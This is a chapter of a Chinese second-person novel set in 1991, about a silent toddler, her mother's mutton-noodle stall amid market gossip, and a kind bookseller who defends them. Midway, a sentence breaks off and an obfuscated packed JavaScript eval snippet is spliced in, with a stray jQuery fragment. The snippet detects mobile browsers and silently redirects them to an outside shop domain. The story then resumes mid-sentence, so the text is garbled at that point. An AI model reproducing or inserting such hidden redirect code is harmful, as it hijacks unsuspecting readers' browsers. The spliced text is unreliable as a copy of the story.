摆摊这件事自然还要继续，哪怕你们这对母女已经被吐沫喷溅，被谣言裹身。你破天荒地穿上了干净漂亮的新衣服，两个小揪揪扎得高高的，怎么看怎么可爱
肩带勒着母亲的半边身体，她弯着腰，一边往前拽着拉车走，一边说着发狠的话。
“李重，等会看到人了要笑！”
“不管别人说什么，你都必须给我笑。”
“不能哭！不能怂！我们凭本事挣钱，看谁敢把我们赶走！”
你不安地攥着小手。
面前铁盆里的羊骨散发着的腥膻气息，让你几欲作呕，你撇撇嘴想哭，又忍住了。
此时，黑乎乎的天布上散落着晶晶亮的星。
快到主街时，晨曦初露，山和山旁的建筑渐渐露出真容，从暗到明，看起来像是充满了希望。
确实充满了希望。
老陀竟在路口接你们。他才不管什么倒霉不倒霉，依旧愿意让出一半地儿让你母亲落脚。
你仰起头看着他，他的身形比旁边的山还要高，还要宽。
你母亲自然欣喜万分，第一碗羊肉粉送到了恩人面前。
旁边那个卖袜子还想骂两句，可老陀凶狠的眼神扫过去，对方嘴唇抖了抖，只能把手中的袜子甩得震天响。你母亲这次像是修炼出了铁壁铜墙，装作没看见，笑嘻嘻地招呼客人。
她还摆出一张大大的招牌。
“正宗麻羊，一块一碗。”
老陀吃得满嘴流油，抬头一看，啧了两声，“这咋能赚到钱？之前还卖一块五呢！”
-
谁也不能抵挡只卖一块钱的大碗羊肉粉。你母亲把羊肉摞得冒尖，正大光明地用低价把食客们再勾回来。
铁打的大集，流水的赶集人。但凡有一个人不相信所谓的倒霉传言，肯坐下来嗦一碗粉，那就会有第二个人、第三个人，乃至更多的人。
你母亲对此无比坚信。她把自己站成了一棵树，就这么直挺挺地戳在铁锅前，大声吆喝，笑脸相迎。
-
老陀平时最爱躺在书摊前的破躺椅上，抱本破书看，看累了就把书往脸上一罩，睡个天昏地暗。哪怕有人来买书，也不肯睁开眼，主打一个随机卖，随缘买。要是高兴了，遇到能聊两句的人，免费送书的也是常有的。
现在你出现了，他浑浑噩噩的眼神终于有了聚焦。
他把你脚腕上的绳子解开，嘀咕着叹气：“又不是狗，拴啥拴？”
你木然地看了他一眼，又低下头，脚腕早被麻绳勒出青红圈痕，现在它陡然获得自由，竟然僵硬得不知所措。
你傻站着，一动不动。
身后是拥挤的大集。人挤着人，肩撞着肩，四周如浪的方言口音嘈嘈切切，不断膨胀扩张，越过你小小的身躯，几欲将你淹没。
而你那么小，看起来毫无招架之力。
老陀又叹了口气，把你抱在了怀里，你警惕地看着他，小手顶住他的胸口，屁股往外撅。
他被你的样子逗笑了，索性把你高高举起，放在他的肩头。
他实在太高，像根发胖的电线杆。你第一次可以将整条主街看得清清楚楚。
然而，你坐在他的宽阔肩头，就像一只孤零零蹲在电线杆上的可怜小鸟，说话声、吵闹声、收音机滋滋啦啦的波段声……稍微大些就会让你浑身炸毛，双腿发软，你忽一下揪住他的头发，像抓住了救命稻草。
确实。老陀不修边幅，头发凌乱如草。他一点也不嫌疼，大笑道：“重重，抓紧点，咱们要起飞了！”
-
于是，你这只不会飞的小小鸟蹲在这尊发胖的电线杆上，从主街北街飞到主街南边，整个大集变成了池塘，那密密麻麻的人头犹如池塘刚繁育的蝌蚪，你不用再仰头看他们高高在上的脸，只需低头轻轻一捏，就能把他们捏住。
这是从未见到的视角。
你终于松开老陀的头发，攥住了他的耳朵。
那些漂浮在池塘水面的棉花糖、糖葫芦、气球、糖人，你伸手就能够着，随便你拿，随便你玩。你的小手从来没有拿过这么多东西，从没有遇到“先吃哪一个”的困难选择。
回到摊位，你母亲忙中瞥了你一眼，皱眉道：“给她吃那是浪费钱。老陀，我可不会出这个钱的。”
老陀伸手小心翼翼地把你唇角的糖渣擦掉，笑嘻嘻道：“我小时候我妈要是愿意给我买一根糖葫芦，说不定我现在还愿意回去看她一眼。可惜啊……”
-
你母亲可顾不上很多年以后的事，现在她要挣钱，多挣钱，这样才能把这个家顶起来。
只是无聊的人很多。花一块钱吃碗粉，还要装出一副救世主的模样问东问西，随意评判。
“人啊，不信命不行。我们村里有个女的，也跟你一样怀了龙凤胎。两个娃倒是都活下来。可他们家的人不是出车祸就是摔断腿。倒霉事一件连着一件。”
“我们那有种说法。龙凤胎里的‘凤’体质差，难养活。因为‘龙’会在娘肚子里抢营养。可你这是反着来的。龙死了，凤活下来了。还真是奇怪。”
“你闺女快一岁了吧。咋看着呆呆的？连爸爸妈妈都不会说吗？总不会是个小傻子吧？”
彼时，你正坐在脏兮兮的地上看连环画，明明旁边有凳子，还有老陀的怀抱。
要说看，也不过是把翻书当做一种好玩的事情，一不小心，脆弱的纸张被你撕破了。你茫然抬起头，看向老陀。老陀摸了摸你的头顶，拿出一支笔，沿着书页裂缝画了一只鳄鱼。
书页裂开，鳄鱼就张开了大嘴。活灵活现，有趣极了。
你玩累了，把书往老陀怀里一丢，而后直接躺到地上，任凭蚂蚁爬上你的肩膀你的脸。
那些嘴碎的人见到这一幕，立马叫得更欢了，“看吧看吧。就是个小傻子。”
你母亲黑着脸正准备把你从地上提溜起来，老陀这根胖乎乎的电线杆往下一倒，倒在你的身旁，和他的小小鸟躺在了一起。
“来啊来啊，都来躺这里。躺得人多了，不愿意躺的人就是傻子。”
“重重是小可爱，老陀是老可爱。愿意躺这里的都是最可爱的人。”
他叫着，喊着，肆无忌惮，那些人骂骂咧咧赶紧躲开，生怕沾染了“疯病”。
你从脸上捏下一只蚂蚁，放到老陀脸上，嘿嘿笑了起来。
-
你母亲的生意还算凑合。不出摊赚不到钱，出了摊好歹有点微薄收入。
摊位倒是稳定了，没过几天大集上开始谣传你母亲和老陀有一腿。
老陀为什么把自己的地盘让出一半来？
老陀把你抱在怀里爱得跟亲闺女似的，凭啥？
但凡有人说话难听，老陀总站出来为你母亲说话，如果两人之间没点弯弯绕绕，又凭啥？
如果不是你母亲做了点啥，老陀能这样吗？
女人嘛，还能做什么？
那个女人一边卖羊肉粉，一边还卖自己的肉呗！
你母亲得知这一谣传时，刚被一个男人摸了屁股。
对方不是偷摸，是正大光明地当众摸，就在她弯腰收碗筷的时候。
她惊怒质问，对方笑嘻嘻着，“装啥呢？你又不是没让老陀摸过。我那边也能让你摆摊，位置比这里更好，咋样？跟我走呗！”
这人当场被愤怒的老陀开了瓢。
在头上。
过了一会，你母亲把老陀拦住，自己搬了把椅子抱着你坐在那家小吃店门口骂了整整一个下午。
谁敢动她一根手指头？她敢拼命，其他人敢吗？
你从蹲在电线杆看风景的小小鸟，变成一只呆傻的小鹌鹑，窝在母亲怀里一动也不敢动。耳朵里全是日爹骂娘的少儿不宜。
母亲身上沾染的腥膻味，从鼻孔钻进你的喉咙，再窜入你的胸腔，将你夹裹得无处可逃，昏昏欲吐。
你母亲骂上雕花，脏得格外非凡。
她一战成名。
-
一岁生日时，你外婆来了。老太太在你母亲的摊位上帮忙了一天，之后还带你去洗了个澡，买了身新衣服，最后给你小小的手腕上戴上一对银镯。
你母亲背对着她哭，你外婆则是看着你哭。
你外婆走后，你母亲在你新衣服的兜里发现了一百元。
那晚，她半夜才回来。回来时身上又是一阵浓重的火纸味。
-
你和你父亲长得非常像，模样周周正正。唯有那双眉眼和你母亲如出一辙，一笑就弯了，像一对月牙。
只是你母亲不爱笑，你也不爱笑。
不知道为什么你两岁了还迟迟不肯说话。任凭母亲怎么教你，你总紧紧闭着嘴巴，一个字也不吐。逼得急了，你就开始撇嘴哭，可即便哭也不像小时候那样嚎啕大哭，而是无声地流泪。
时间长了，人们来买粉的时候总会把同情的目光投向你，说龙凤胎果然不吉利，然后让你母亲免费多加点羊肉。
有人当着你的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284752|152022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面跟你母亲嘴碎，“现在虽说计划生育抓得紧，你这头胎是个闺女还是个傻子，应该可以申请到二胎准生证，趁着年轻再生个儿子呗。”
你母亲还没说什么，老陀首先不乐意了，“重重只是语迟。爱因斯坦说话晚，不耽误他是个伟大的科学家，左拉说话也晚，不耽误他是个大作家。”
他翻出一本泛黄的《娜娜》，笑嘻嘻递过去，“你咋什么都不知道，还真是可怜啊。来，看点书。哦不，就算你看了也白搭，人不行，看啥都没用。”
那人被臊得骂骂咧咧走了，你母亲转脸看向你，问：“老陀，她真不是傻子？”
-
没过多久你奶奶来了一次，老太太一来就坐到凳子上说自己饿死了。你母亲给她做了一大碗羊肉粉，她看了一眼撇嘴说肉太少了。你母亲又给她浇了一勺肉，她这才满意。吃饱喝足，她朝你招了招手，用油乎乎的嘴说：“叫奶奶。”
你只是抬头看了她一眼，低头继续看连环画。
你奶奶叹气，“活下来的也是个小傻子啊。”
过了一会，嘴角有些压不住，“还好是个小傻子。”
你母亲知道她什么意思，她拿起抹布，朝空中使劲挥舞着，“死苍蝇，臭苍蝇，有点香味你就撵来吃吃吃。吃不死你！”
你奶奶差点被抹布糊了一脸，她没趣地站起来，硬着脖子说：“过几天你几个姨要来赶集，到时候她们来你摊位上吃饭可别要钱啊。”
当晚，你父亲再次因为喝多了耍脾气。
你母亲发了很大的火。
你默默坐在阴暗处，一瞬不瞬地看着你母亲的嘴巴越骂越大，大到能把房子吃掉，看着你父亲的眼睛越吵越红，红到可以喷出火来。
突然这火烧到你的身上。
“她为什么还不说话？你这个当妈的怎么带的？”
“她是我一个人的娃娃吗？你成天只知道喝酒，你有挣一分钱吗？有带过她一天吗？”
“咋？你看我现在不挣钱瞧不上我了是吧？你又有多大的本事？不就摆个摊吗？你知道什么是矿床矿脉吗？你知道什么饼状构造脉状构造吗？”
“外面的人怎么说你你知道吗？说你是个恶婆娘，说你跟人鬼混！我有说过你半个字吗？”
喝醉酒的你的父亲像蛰伏在幽深森林里的怪兽，一言不合就去扑出来把人咬死。
你母亲哭得上气不接下气，说：“我跟谁鬼混了？他们诬陷我，欺负我的时候你在哪？你还算男人吗？说好的只用我顶一年半载！两年了！你让你女人天天在外面挣钱，你在家不仅吃闲饭，还喝大酒骂我？”
“要不是你和你妈撞到我的肚子，我儿子会死吗？如果他活着，我们全家就不会这么倒霉！”
……
你默默站起来，默默走出去，把门关上，然后用小手敲响了隔壁王翠莲王阿姨家的门。
小小的人儿被热情迎进去。你乖巧地坐在凳子上，吃着王阿姨给的糖果，看着对面黑白电视里的《正大综艺》。
电视里那位年轻外景女主持人游走在世界各地。她在笑，大笑，在惊讶各种美景美食，在热情邀请大家有机会都出来看看。
你不懂，但你觉得很有趣。
你母亲没过多久就来找你了。她红着眼睛朝王翠莲道谢，然后斥责你乱跑，她佯装要打你，这次巴掌却轻轻落在你身上，轻得像安抚。
王翠莲担忧地看着你说：“要不带重重去医院看看？”
你母亲叹着气，“哪里有这个闲钱啊？！”
王翠莲叹了口气，“我这里还有一点。你先拿去用。”
你母亲有点吃惊，“王姐，你人怎么这么好？”
王翠莲转脸看着我，“我就是觉得这孩子……挺可怜的。”
-
李重啊。
要说你这辈子最讨厌的两个字，除了“可怜”没有别的。
后来，每当你听到这两个字，脑海里就跳出另一个歇斯底里的自己——
-草！凭什么可怜我？你们又比我好到哪去？
-你们不也吃五谷杂粮，有七情六欲？不也从出生就要走向死亡？想要的得不到，得到了不珍惜，珍惜的随时又会失去！如果非要说可怜的话，那我们就是平等的可怜。
-所以，可怜的不是我！
-是人类！人类！
-
1991年的你，缓缓仰起小小的头颅，看着王阿姨满是怜悯的脸，笑了，把眼睛笑成了两朵月亮。